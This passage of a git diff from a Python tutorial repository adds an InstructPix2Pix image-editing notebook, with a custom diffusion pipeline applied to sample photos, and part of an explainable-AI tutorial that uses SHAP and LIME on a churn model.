noise_pred_uncond = noise_pred.chunk(3)\n", + " # perform guidance\n", + " noise_pred = (\n", + " noise_pred_uncond\n", + " + guidance_scale * (noise_pred_text - noise_pred_image)\n", + " + image_guidance_scale * (noise_pred_image - noise_pred_uncond)\n", + " )\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n", + "\n", + " return latents\n", + "\n", + "\n", + "\n", + " def __call__(self,\n", + " prompt,\n", + " image,\n", + " prompt_negative=None,\n", + " num_inference_steps=20,\n", + " guidance_scale=7.5,\n", + " image_guidance_scale=1.5):\n", + " \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n", + "\n", + " # encode input prompt\n", + " prompt_embeds = self.get_prompt_embeds(prompt, prompt_negative)\n", + "\n", + " # preprocess image\n", + " image = self.image_processor.preprocess(image)\n", + "\n", + " # prepare image latents\n", + " image = image.half()\n", + " image_latents = self.get_image_latents(image)\n", + "\n", + " # prepare timesteps\n", + " self.scheduler.set_timesteps(num_inference_steps)\n", + " timesteps = self.scheduler.timesteps\n", + "\n", + " height_latents, width_latents = image_latents.shape[-2:]\n", + "\n", + " # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n", + " num_channels_latents = self.vae.config.latent_channels\n", + " batch_size = prompt_embeds.shape[0] // 2\n", + " latents = self.get_initial_latents(height_latents, width_latents, num_channels_latents, batch_size)\n", + "\n", + " # denoise latents\n", + " latents = self.denoise_latents(prompt_embeds,\n", + " image_latents,\n", + " timesteps,\n", + " latents,\n", + " guidance_scale,\n", + " image_guidance_scale)\n", + "\n", + " # decode latents to get the image into pixel space\n", + " latents = latents.to(torch.float16) # change dtype of latents since\n", + " image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n", + "\n", + " # convert to PIL Image format\n", + " image = image.detach() # detach to remove any computed gradients\n", + " image = self.transform_image(image)\n", + "\n", + " return image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "itugpKfQZP3S" + }, + "outputs": [], + "source": [ + "# We can get all the components from the InstructPix2Pix Pipeline\n", + "vae = pipe.vae\n", + "tokenizer = pipe.tokenizer\n", + "text_encoder = pipe.text_encoder\n", + "unet = pipe.unet\n", + "scheduler = pipe.scheduler\n", + "image_processor = pipe.image_processor" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Z4mM2_z_ZP5f" + }, + "outputs": [], + "source": [ + "custom_pipe = InstructPix2PixPipelineCustom(vae, tokenizer, text_encoder, unet, scheduler, image_processor)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 657 + }, + "id": "NjkhgTz0mIPi", + "outputId": "56a214f8-02c5-4157-8648-6165bd4f2ec7" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 674 + }, + "id": "pcG55mdtZP8N", + "outputId": "8c91332c-2b17-49b5-c3aa-416b141a035e" + }, + "outputs": [], + "source": [ + "# sample image 1\n", + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images_custom = custom_pipe(prompt, image, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 657 + }, + "id": "l0m6vIq4ZP-K", + "outputId": "a97e7c0d-22a5-490a-c476-22d27aebd76a" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2023/03/22/01/41/little-girl-7868485_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 674 + }, + "id": "3eDhpvlHZQAo", + "outputId": "4d93878c-1a89-44ff-a823-4f8ca97c5e88" + }, + "outputs": [], + "source": [ + "# sample image 2\n", + "prompt = \"turn into 8k anime\"\n", + "images_custom = custom_pipe(prompt, image, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "6rAfgSFK3s-B" + }, + "source": [ + "# Limitations" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 674 + }, + "id": "hKs8yic0RQFi", + "outputId": "68fd4162-3c98-488c-d3b1-164efbdc80ad" + }, + "outputs": [], + "source": [ + "prompt = \"turn entire pic into anime frame\"\n", + "images_custom = custom_pipe(prompt, image, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "61YH9qpyRXiQ" + }, + "outputs": [], + "source": [] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "OU9zLHTR2H_j" + }, + "source": [ + "# Rough\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "b1ac65dd59c94a269c3660d4ebd8fa16", + "76732cd3aa5745058c70bb1aa44b1667", + "09bc80852b334a6f9905c6d93eada57c", + "c1ee4f8f667743ed94a939a9fe749e39", + "ff7c3d43d89a40a9941f2b9baf8e9fd9", + "1494c31d3d114a13a3ebbe85df2316ba", + "9604b8f7a8ef4fa6b488ee1892e138d2", + "7bcb49396cf84ea6878d5ceddd480326", + "8c8b4b87df9242318f1ceaf5fc00b216", + "25c92f3c188e4009ba806c6d56cc66c4", + "1da8ad0bdb2547cdb4edc5bc5df7a8ea" + ] + }, + "id": "i5lucCESjxyr", + "outputId": "19b61940-802c-4e44-a2b2-c63ffba8faa6" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.6).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "6d22121bbb6f4bcaa1b5f355d0f2e8a1", + "ed4320b4d8284ead91830c0b11b9bc56", + "1fe983e43b7f4bca905a65b07eef5491", + "6a234c3c85734a2cae1348a3329bb659", + "d3415f46386c49ce9593585d421657fa", + "f25cbe3e352d44c9849191bbb8e9d4d9", + "3bffddd95fdf4e3c896e1554a239273a", + "e92d28da4f314f73b4c4cccde114f1f4", + "f7728f9c5b0f4f4ca084119f74e9dcaf", + "b77a65348afa4b6aae8540dd5d9e4d2c", + "960b8d20472f40078fc9566abc065cc1" + ] + }, + "id": "LCMg5TPOjP30", + "outputId": "e2405a06-116a-411b-ad80-0b8afa5f5bef" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=2).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + 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image=image, num_inference_steps=20, image_guidance_scale=0.6).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "abeaf2b96435442589d217ce731feaf4", + "c2b0ede066bf405593c66384d9548613", + "c3a851883eba4e11b70c705a5fae3ee2", + "c0c76cb4f1a04bfe86598e0e0dbffe23", + "bbac2ab035374103b2c4912aeda2e425", + "e11583de8d894d3da80ef3bb1fe52e08", + "48e9b5493b8f4191b9707df7c83b0f50", + "6f03e27712e84cc49ad1a665c7537f12", + "f3d1f71549674156b493e3771784ec68", + "39e7952fd2c34271a44ca997250a313c", + "4dc4d2c609eb40eaa6df50be567b2c61" + ] + }, + "id": "WRjTQNtkk8nE", + "outputId": "5c056095-0dea-483e-b632-18751f6c3267" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5).images\n", + "images[0]" + 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a/machine-learning/edit-images-instruct-pix2pix/instruct_pix2pix_pythoncodetutorial.py b/machine-learning/edit-images-instruct-pix2pix/instruct_pix2pix_pythoncodetutorial.py new file mode 100644 index 00000000..97874151 --- /dev/null +++ b/machine-learning/edit-images-instruct-pix2pix/instruct_pix2pix_pythoncodetutorial.py @@ -0,0 +1,389 @@ +# %% +!pip install -qU diffusers accelerate safetensors transformers + +# %% [markdown] +# # Hugging Face + +# %% +import PIL +import requests +import torch +from diffusers import StableDiffusionInstructPix2PixPipeline, EulerAncestralDiscreteScheduler + + +# %% +def download_image(url): + image = PIL.Image.open(requests.get(url, stream=True).raw) + image = PIL.ImageOps.exif_transpose(image) + image = image.convert("RGB") + return image + +# %% +model_id = "timbrooks/instruct-pix2pix" +pipe = StableDiffusionInstructPix2PixPipeline.from_pretrained(model_id, torch_dtype=torch.float16, safety_checker=None) +pipe.to("cuda") +pipe.scheduler = EulerAncestralDiscreteScheduler.from_config(pipe.scheduler.config) + + +# %% +url = "https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg" +image = download_image(url) +image + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.5).images +images[0] + +# %% +url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg" +image = download_image(url) +image + +# %% +prompt = "turn the bird to red" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images +images[0] + +# %% +url = "https://cdn.pixabay.com/photo/2018/05/08/06/52/vacation-3382400_640.jpg" +image = download_image(url) +image + +# %% +prompt = "turn the suitcase yellow" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.7).images +images[0] + +# %% + + +# %% + + +# %% [markdown] +# # Custom implementation + +# %% +from tqdm import tqdm +from torch import autocast + +# %% +class InstructPix2PixPipelineCustom: + """custom implementation of the InstructPix2Pix Pipeline""" + + def __init__(self, + vae, + tokenizer, + text_encoder, + unet, + scheduler, + image_processor): + + self.vae = vae + self.tokenizer = tokenizer + self.text_encoder = text_encoder + self.unet = unet + self.scheduler = scheduler + self.image_processor = image_processor + self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + + + + def get_text_embeds(self, text): + """returns embeddings for the given `text`""" + + # tokenize the text + text_input = self.tokenizer(text, + padding='max_length', + max_length=tokenizer.model_max_length, + truncation=True, + return_tensors='pt') + # embed the text + with torch.no_grad(): + text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0] + return text_embeds + + + def get_prompt_embeds(self, prompt, prompt_negative=None): + """returns prompt embeddings based on classifier free guidance""" + + if isinstance(prompt, str): + prompt = [prompt] + + if prompt_negative is None: + prompt_negative = [''] + elif isinstance(prompt_negative, str): + prompt_negative = [prompt_negative] + + # get conditional prompt embeddings + cond_embeds = self.get_text_embeds(prompt) + # get unconditional prompt embeddings + uncond_embeds = self.get_text_embeds(prompt_negative) + + # instructpix2pix takes conditional embeds first, followed by unconditional embeds twice + # this is different from other diffusion pipelines + prompt_embeds = torch.cat([cond_embeds, uncond_embeds, uncond_embeds]) + return prompt_embeds + + + def transform_image(self, image): + """transform image from pytorch tensor to PIL format""" + image = self.image_processor.postprocess(image, output_type='pil') + return image + + + + def get_image_latents(self, image): + """get image latents to be used with classifier free guidance""" + + # get conditional image embeds + image = image.to(self.device) + image_latents_cond = self.vae.encode(image).latent_dist.mode() + + # get unconditional image embeds + image_latents_uncond = torch.zeros_like(image_latents_cond) + image_latents = torch.cat([image_latents_cond, image_latents_cond, image_latents_uncond]) + + return image_latents + + + + def get_initial_latents(self, height, width, num_channels_latents, batch_size): + """returns noise latent tensor of relevant shape scaled by the scheduler""" + + image_latents = torch.randn((batch_size, num_channels_latents, height, width)) + image_latents = image_latents.to(self.device) + + # scale the initial noise by the standard deviation required by the scheduler + image_latents = image_latents * self.scheduler.init_noise_sigma + return image_latents + + + + def denoise_latents(self, + prompt_embeds, + image_latents, + timesteps, + latents, + guidance_scale, + image_guidance_scale): + """denoises latents from noisy latent to a meaningful latent as conditioned by image_latents""" + + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(timesteps)): + # duplicate image latents *thrice* to do classifier free guidance + latent_model_input = torch.cat([latents] * 3) + latent_model_input = self.scheduler.scale_model_input(latent_model_input, t) + + latent_model_input = torch.cat([latent_model_input, image_latents], dim=1) + + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet(latent_model_input, t, + encoder_hidden_states=prompt_embeds)['sample'] + + # separate predictions into conditional (on text), conditional (on image) and unconditional outputs + noise_pred_text, noise_pred_image, noise_pred_uncond = noise_pred.chunk(3) + # perform guidance + noise_pred = ( + noise_pred_uncond + + guidance_scale * (noise_pred_text - noise_pred_image) + + image_guidance_scale * (noise_pred_image - noise_pred_uncond) + ) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + latents = self.scheduler.step(noise_pred, t, latents)['prev_sample'] + + return latents + + + + def __call__(self, + prompt, + image, + prompt_negative=None, + num_inference_steps=20, + guidance_scale=7.5, + image_guidance_scale=1.5): + """generates new image based on the `prompt` and the `image`""" + + # encode input prompt + prompt_embeds = self.get_prompt_embeds(prompt, prompt_negative) + + # preprocess image + image = self.image_processor.preprocess(image) + + # prepare image latents + image = image.half() + image_latents = self.get_image_latents(image) + + # prepare timesteps + self.scheduler.set_timesteps(num_inference_steps) + timesteps = self.scheduler.timesteps + + height_latents, width_latents = image_latents.shape[-2:] + + # prepare the initial image in the latent space (noise on which we will do reverse diffusion) + num_channels_latents = self.vae.config.latent_channels + batch_size = prompt_embeds.shape[0] // 2 + latents = self.get_initial_latents(height_latents, width_latents, num_channels_latents, batch_size) + + # denoise latents + latents = self.denoise_latents(prompt_embeds, + image_latents, + timesteps, + latents, + guidance_scale, + image_guidance_scale) + + # decode latents to get the image into pixel space + latents = latents.to(torch.float16) # change dtype of latents since + image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0] + + # convert to PIL Image format + image = image.detach() # detach to remove any computed gradients + image = self.transform_image(image) + + return image + +# %% +# We can get all the components from the InstructPix2Pix Pipeline +vae = pipe.vae +tokenizer = pipe.tokenizer +text_encoder = pipe.text_encoder +unet = pipe.unet +scheduler = pipe.scheduler +image_processor = pipe.image_processor + +# %% +custom_pipe = InstructPix2PixPipelineCustom(vae, tokenizer, text_encoder, unet, scheduler, image_processor) + +# %% +url = "https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg" +image = download_image(url) +image + +# %% +# sample image 1 +prompt = "convert the lady into a highly detailed marble statue" +images_custom = custom_pipe(prompt, image, num_inference_steps=20) +images_custom[0] + +# %% +url = "https://cdn.pixabay.com/photo/2023/03/22/01/41/little-girl-7868485_640.jpg" +image = download_image(url) +image + +# %% +# sample image 2 +prompt = "turn into 8k anime" +images_custom = custom_pipe(prompt, image, num_inference_steps=20) +images_custom[0] + +# %% [markdown] +# # Limitations + +# %% +prompt = "turn entire pic into anime frame" +images_custom = custom_pipe(prompt, image, num_inference_steps=20) +images_custom[0] + +# %% + + +# %% [markdown] +# # Rough +# + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=2).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.2).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.3).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.8).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.6).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=10).images +images[0] + +# %% +prompt = "convert the lady into a highly detailed marble statue" +images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=15).images +images[0] + +# %% + + +# %% +prompt = "turn the red wooden stick to brown" +images2 = pipe(prompt, image=images[0], num_inference_steps=10, image_guidance_scale=1).images +images2[0] + + diff --git a/machine-learning/edit-images-instruct-pix2pix/requirements.txt b/machine-learning/edit-images-instruct-pix2pix/requirements.txt new file mode 100644 index 00000000..8780d0fc --- /dev/null +++ b/machine-learning/edit-images-instruct-pix2pix/requirements.txt @@ -0,0 +1,6 @@ +diffusers +accelerate +transformers +torch +Pillow +safetensors \ No newline at end of file diff --git a/machine-learning/explainable-ai/README.md b/machine-learning/explainable-ai/README.md new file mode 100644 index 00000000..6f6a6414 --- /dev/null +++ b/machine-learning/explainable-ai/README.md @@ -0,0 +1 @@ +# [A Guide to Explainable AI Using Python](https://www.thepythoncode.com/article/explainable-ai-model-python) \ No newline at end of file diff --git a/machine-learning/explainable-ai/explainable_ai.py b/machine-learning/explainable-ai/explainable_ai.py new file mode 100644 index 00000000..5bc411fd --- /dev/null +++ b/machine-learning/explainable-ai/explainable_ai.py @@ -0,0 +1,487 @@ +# %% [markdown] +# ## Explaining Logistic Regression Moel with SHAP +# Logistic regression is often used to predict the probability of binary or multinomial outcomes. it can be multinomial(where more than two outcomes are also possible). +# Class separation is complex in a multinomial class classification model. +# A logistic regression model assumes a logarithmic relationship between the dependent and independent variables, while a linear regression model assumes a linear relationship. +# The variable of interest in many real-life settings is categorical: The purchase or non-purchase of a product, the approval or non-approval of a credit card, or the cancerousness of a tumor. +# Logistic regression can estimate the likelihood of a case belonging to a specific level in the dependant variable. +# The logistic regression model can be explained using the following equation: +# {Formula] +# +# The outcome's log-odds are given by the formula Ln (P/1-P). +# According to the preceding equation's beta coefficients, the outcome variable's probabilities increase or decrease by one unit when the explanatory variable rises or falls. +# The interpretation of a logistic regression model differs significantly from the interpretation of a linear regression model. +# The right-hand side equation's weighted sum is turned into a probability value. The log-odds are used to describe the value on the left side of the equation. +# It is termed the log odds because it represents the ratio of an event occurring to the probability of an event not occurring. +# To comprehend the logistic regression model and how decisions are made, it is necessary to grasp the concepts of probabilities and odds. +# You'll utilize churndata.csv, a file in the telecommunications category with 3,333 entries and 18 distinct features. +# +#  +#   +#  +#   +#         + +# %% +!pip install shap +!pip install LIME +!pip install interpret-core + + +# %% +#mount drive +%cd .. +from google.colab import drive +drive.mount('/content/gdrive') + +# Execute the following command to build a symbolic link, so that the path /content/gdrive/My Drive/ is now equivalent to /mydrive. +!ln -s /content/gdrive/My\ Drive/ /mydrive + +# list the contents of /mydrive +!ls /mydrive + +#Navigate to /mydrive/churn +%cd /mydrive/churn/ + +# %% +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt +%matplotlib inline +from sklearn.linear_model import LogisticRegression, LogisticRegressionCV +from sklearn.metrics import confusion_matrix, classification_report +from sklearn.preprocessing import LabelEncoder +from sklearn.model_selection import train_test_split +from sklearn.linear_model import LinearRegression +import interpret.glassbox +import xgboost +import shap +import lime +import lime.lime_tabular +import sklearn +import warnings +warnings.filterwarnings('ignore') + +# %% [markdown] +# As a first stage, you get the data, then convert specific features already in string format using a label encoder. +# You divide the data into 80 percent for training and 20 percent for testing following the transformation. +# To keep the classes balanced, maintain the percentage of churn and no-churn cases while generating the train/test split. +# The model is then trained, and the learned model is applied to the test data. + +# %% +data = pd.read_csv('/mydrive/churn/Telecom_Train.csv') +data.head() + +# %% +del data['Unnamed: 0'] ## delete Unnamed: 0 +le = LabelEncoder() ## perform label encoding +data['area_code_tr'] = le.fit_transform(data['area_code']) +del data['area_code'] ## delete area_code +data['churn_dum'] = pd.get_dummies(data. +churn,prefix='churn',drop_first=True) +del data['international_plan'] ## delete international_plan +del data['voice_mail_plan'] ## delete voice_mail_plan +del data['churn'] ## delete churn +data.info() +data.columns + +# %% +X = data[['account_length', 'number_vmail_messages', 'total_day_minutes', +'total_day_calls', 'total_day_charge', 'total_eve_minutes', +'total_eve_calls', 'total_eve_charge', 'total_night_minutes', +'total_night_calls', 'total_night_charge', 'total_intl_minutes', +'total_intl_calls', 'total_intl_charge', +'number_customer_service_calls', 'area_code_tr']] +Y = data['churn_dum'] +xtrain,xtest,ytrain,ytest=train_test_split(X,Y,test_size=0.20,stratify=Y) +l_model = LogisticRegression(max_iter=10000) +l_model.fit(xtrain,ytrain) +print("training accuracy:", l_model.score(xtrain,ytrain)) #training accuracy +print("test accuracy:",l_model.score(xtest,ytest)) # test accuracy + + +# %% +print(np.round(l_model.coef_,2))## Coeffiscient +print(l_model.intercept_) ## intercept + +# %% [markdown] +# +# Only the area code is transformed. The remaining features are either integers or floating-point numbers to train the model. +# It's now possible to see how a prediction is made by examining the distribution of probabilities, the log odds, the odds ratios, and other model parameters. +# SHAP values may reveal strong interaction effects when used to explain the probability of a logistic regression model. +# + +# %% [markdown] +# The appropriate output may be generated using two new utility functions that you built and which can then be used in a visual representation of SHAP values. + +# %% +# Provide Probability as Output +def m_churn_proba(x): + return l_model.predict_proba(x)[:,1] +# Provide Log Odds as Output +def model_churn_log_odds(x): + p = l_model.predict_log_proba(x) + return p[:,1] - p[:,0] + +# %% [markdown] +# The partial dependency plot for the feature total day in minutes for record number 25 demonstrates a positive but not linear relationship between the function's probability value or predicted value and the feature. + +# %% +# make a standard partial dependence plot +sample_ind = 25 +fig,ax = shap.partial_dependence_plot( +"total_day_minutes", m_churn_proba, X, model_expected_value=True, +feature_expected_value=True, show=False, ice=False) + +# %% [markdown] +# Any machine learning model or Python function may be explained using Shapley values. This is the SHAP library's primary explainer interface. +# It accepts any model and masker combination and produces a callable subclass object that implements the selected estimate technique. + +# %% +# compute the SHAP values for the linear model +background_c = shap.maskers.Independent(X, max_samples=1000) ## Concealed features may be hidden by using this function. +explainer = shap.Explainer(l_model, background_c, +feature_names=list(X.columns)) +shap_values_c = explainer(X) +shap_values = pd.DataFrame(shap_values_c.values) +shap_values.columns = list(X.columns) +shap_values + +# %% [markdown] +# There is a strong, perfect linear relationship between account length and SHAP values of account length in the scatterplot. + +# %% +shap.plots.scatter(shap_values_c[:,'account_length']) + +# %% [markdown] +# This shows which characteristic is more important in the classification. +# Customers who have more complaints are more likely to call customer service and can churn at any time. +# Another factor is total day in minutes, followed by number of voicemail messages. Towards the end, the seven most minor significant features are grouped. +# +# The maximum absolute SHAP value for each feature is shown below; however, the two graphs are similar. +# A beeswarm graphic displays the SHAP value and its influence on model output. +# The heatmap display of SHAP values for hundreds of records illustrates the SHAP value density versus model features. +# The best feature has a high SHAP value, while the feature importance and SHAP value decline with time. + +# %% +# make a standard partial dependence plot +sample_ind = 25 +fig,ax = shap.partial_dependence_plot( +"number_vmail_messages", m_churn_proba, X, model_expected_value=True, +feature_expected_value=True, show=False, ice=False +) +shap_values_c.feature_names +# compute the SHAP values for the linear model +explainer_log_odds = shap.Explainer(l_model, background_c, +feature_n=list(X.columns)) +shap_values_churn_l = explainer_log_odds(X) +shap_values_churn_l +shap.plots.bar(shap_values_churn_l) + +# %% [markdown] +# +# The plot below illustrates how a SHAP bar plot will use the mean absolute value of each feature(by default) across all dataset occurrences (rows). + +# %% +shap.plots.bar(shap_values_churn_l) + +# %% [markdown] +# The below plot illustrates how utilizing the maximum absolute value highlights the number_customer_service_calls and total_intl_calls feature, which have infrequent but large magnitude impacts. + +# %% +shap.plots.bar(shap_values_churn_l.abs.max(0)) + +# %% [markdown] +# Beow, we can see the beeswarm plot that can be used to summarize the whole distribution of SHAP values for each feature. +# The dot's location on the x-axis indicates whether that attribute contributed positively or negatively to the prediction. +# This allows you to quickly determine if the feature is essentially flat for each forecast or significantly influences specific rows while having little impact on others. + +# %% +shap.plots.beeswarm(shap_values_churn_l) + +# %% [markdown] +# The below plot represents the frequency with which each feature gave SHAP values for instances utilized in the training procedure. + +# %% +shap.plots.heatmap(shap_values_churn_l[:1000]) + +# %% [markdown] +# ## LIME +# The SHAP values may be used to explain the logistic regression model. +# But the difficulty is time. +# With a million records, you need more time to construct all permutations and combinations to explain the local accuracy. +# LIME's explanation generation speed avoids this issue in huge dataset processing. +# +# Explanations are the result of the LIME framework. LIME includes three primary functionalities: +# +# - The image explainer interprets image classification models. +# - The text explainer gives insight into text-based models. +# - The tabular explainer determines how much a tabular dataset's features are evaluated throughout the classification process. +# +# +# Lime Tabular Explainer is required to explain tabular matrix data. The term "local" refers to the framework's analysis of individual data. It does not provide a comprehensive explanation for why the model performs, but instead describes how a given observation is classified. The user should be able to grasp what a model performs if it is interpretable. Thus, while dealing with image classification, it reveals which parts of the image it evaluated when making predictions, and when working with tabular data, it shows which features influence its choice. Model-agnostic means that it may be used to any blackbox algorithm that exists now or developed in the future. +# +# To generate a LIME output, we define the explanation as explainer.explain _instance and include the observation we picked above, the model.predict_proba, and 16 features, which show us which features are thought to be the most significant in predicting the target variable. +# +# The explaiser: +# +# The explainer itself is part of the LIME library and is presented in the preceding program. Because the explainer had no default settings, we had to specify all of the parameters manually. We first call our now-formatted dataset, followed by a list of all features in our dataset. +# +# - X_train = Training set +# - feature_names = Concatenated list of all feature names +# - class_names = Target values +# - Kernel width = Parameter to control the linearity of the induced model; the larger the width more linear is the model +# +# +# +# + +# %% +explainer = lime.lime_tabular.LimeTabularExplainer(np.array(xtrain), +feature_names=list(xtrain.columns), +class_names=['churn_dum'], +verbose=True, mode='classification') +# this record is a no churn scenario +expl = explainer.explain_instance(xtest.iloc[0], l_model.predict_proba, +num_features=16) +expl.as_list() + +# %% [markdown] +# Once the explainer model object is created, you may construct explanations by checking for individual and global predictions. +# In classification with two or more classes, you can produce different feature importances for each class in relation to the features column. +# +# For example, total_intl_minutes had a value lower than 8.50 lowered the score of +# the model by about 0.04. + +# %% +pd.DataFrame(expl.as_list()) + +# %% [markdown] +# Intercept 0.11796923846596004 +# Prediction_local [0.10779621] +# Right: 0.1242113883724509 + +# %% [markdown] +# Running the code produces the LIME output divided into three sections: prediction probabilities on the left, feature probabilities in the middle, and a feature-value table on the right. A graph of prediction probabilities indicates what the model thinks will happen and the related likelihood. There is an 91% chance that the customer will not churn, which is represented by the blue bar, and a 9% chance that he will churn, which is represented by the orange bar. +# +# The feature probability graph illustrates how much a feature impacts a specific choice. The variable number_customer_service_calls is the most influential component in this observation, and it confirms the forecast that the customer will not churn. The second most essential attribute is total_day_minutes. The last graph is the feature value table which displays the actual value of this feature in this observation. +# + +# %% +expl.show_in_notebook(show_table=True) + +# %% + + +# %% [markdown] +# Although LIME is simple and effective, it is not without flaws. It will be published in 2020 that the first theoretical examination of LIME confirms the importance and relevance of LIME, but it also shows that poor parameter selections might cause LIME to overlook important features. As a result, different interpretations of the same prediction may lead to deployment issues. DLIME, a deterministic variant of LIME, is suggested to overcome this uncertainty. Hierarchical clustering is used to group the data, and k-nearest neighbors (KNN) pick the cluster where the instance in question is thought to reside. + +# %% [markdown] +# ## Using SHAP for Ensemble Models +# we will use the popular Boston housing prices dataset to explain the model predictions in a regression use case scenario. +# The following are the +# variables from the Boston housing prices dataset: +# +# CRIM: Per capita crime rate by town +# +# • ZN: Proportion of residential land zoned for lots over 25,000 sq.ft. +# +# • INDUS: Proportion of non-retail business acres per town +# +# • CHAS: Charles River dummy variable (1 if tract bounds river; 0 +# otherwise) +# +# • NOX: Nitric oxide concentration (parts per 10 million) +# +# • RM: Average number of rooms per dwelling +# +# • AGE: Proportion of owner-occupied units built prior to 1940 +# +# • DIS: Weighted distances to five Boston employment centers +# +# • RAD: Index of accessibility to radial highways +# +# • TAX: Full value property tax rate per $10,000 +# +# • PTRATIO: Pupil-teacher ratio by town +# +# • B: 1000(Bk - 0.63)^2 where Bk is the proportion of blacks by town +# +# • LSTAT: % lower status of the population +# +# • MEDV: Median value of owner-occupied homes in $1000s + +# %% +# boston Housing price +X,y = shap.datasets.boston() +X1000 = shap.utils.sample(X, 1000) # 1000 instances for use as the background distribution +# a simple linear model +m_del = sklearn.linear_model.LinearRegression() +m_del.fit(X, y) + +# %% [markdown] +# The Boston housing prices dataset is now part of the SHAP library. The base model calculation happens using the linear regression model so that you can perform the 